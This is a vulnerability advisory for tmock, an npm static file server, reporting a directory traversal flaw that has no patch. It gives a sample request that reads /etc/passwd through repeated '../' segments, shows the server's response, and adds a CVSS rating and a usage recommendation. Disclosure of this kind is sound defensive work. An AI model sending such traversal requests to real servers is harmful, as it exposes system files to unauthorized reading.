Directory Traversal in tmock
tmock is a static file server.
tmock is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
and server Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | tmock | <= 0.0.7 | no fix |
References
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
tmock- Disclosed
- 23.07.2018
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-j6w4-pg6p-5mrv - CC BY 4.0
Vulnerability history: tmock
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